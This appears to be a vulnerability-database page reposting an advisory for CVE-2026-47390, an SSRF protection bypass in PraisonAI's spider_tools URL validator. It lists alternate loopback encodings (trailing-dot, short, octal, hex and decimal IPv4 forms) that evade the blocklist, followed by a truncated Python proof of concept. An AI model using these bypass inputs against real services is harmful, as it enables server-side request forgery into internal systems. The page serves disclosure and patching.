Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-47390 — praisonai

🟡 CVSS 5.5 — Medium ✅ No Known Exploit CWE-918 NVD
5.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings

Summary

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

```text

praisonaiagents/tools/spider_tools.py

````

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

```text

http://localhost.:8765/

http://127.1:8765/

http://0177.0.0.1:8765/

http://0x7f000001:8765/

http://2130706433:8765/

```

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

```text

praisonaiagents/tools/spider_tools.py

```

The vulnerable flow is:

```text

attacker-controlled URL

-> spider_tools._validate_url(...)

-> weak exact-host blocklist check

-> validation passes for alternate loopback encodings

-> scrape_page(...)

-> requests.Session.get(attacker_url)

-> loopback service is reached

```

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

```text

localhost

127.0.0.1

```

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

```text

http://localhost.:8765/

http://127.1:8765/

http://0177.0.0.1:8765/

http://0x7f000001:8765/

http://2130706433:8765/

```

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC

```python

#!/usr/bin/env python3

"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys

import threading

from http.server import BaseHTTPRequestHandler, HTTPServer

from pathlib import Path

REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"

AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"

SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"

def verify_source() -> None:

expected = [

"def _validate_url",

"requests.Session",

".get(",

]

text = SPIDER_TOOLS.read_text(encoding="utf-8")

for needle in expected:

if needle not in text:

raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")

class LocalHandler(BaseHTTPRequestHandler):

hits: list[tuple[str, str | None]] = []

body = b"LOCAL-SPIDER-SSRF-SECRET"

def do_GET(self) -> None: # noqa: N802

self.__class__.hits.append((self.path, self.headers.get("Host")))

self.send_response(200)

self.send_header("Content-Type", "text/plain")

self.send_header("Content-Length", str(len(self.body)))

self.end_headers()

self.wfile.write(self.body)

def log_message(self, format: str, *args) -> None: # noqa: A003

return

def main() -> int:

if not SPIDER_TOOLS.exists():

raise SystemExit("missing local PraisonAI source tree")

verify_source()

sys.path.insert(0, str(AGENTS_ROOT))

# Import the real shipped implementation.

#

# Depending on the exact public API exposed by spider_tools.py,

# use the exported scrape function available in the local version.

# The important path is:

#

# _validate_url(url)

# -> requests.Session.get(url)

#

import praisonaiagents.tools.spider_tools as spider_tools

server = HTTPServer(("127.0.0.1", 8765), LocalHandler)

thread = threading.Thread(target=server.serve_forever, daemon=True)

thread.start()

candidates = [

"http://localhost.:8765/",

"http://127.1:8765/",

"http://0177.0.0.1:8765/",

"http://0x7f000001:8765/",

"http://21307

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-47390 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-47390 is recorded against 3 packages.

  • praisonai (fixed in 4.6.40)
  • praisonaiagents (fixed in 1.6.40)
  • unknown

Timeline and source

Published on 29 May 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Other advisories for this package

praisonai has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:

Details

Severity Medium
CVSS Score 5.5
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CWE CWE-918
Public Exploit ✅ No
Source NVD
Published 2026-05-29
Updated 2026-08-20
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
praisonai 4.6.40
praisonaiagents 1.6.40
unknown

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in praisonai

CVE-2026-47390 is rated CVSS 5.5 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026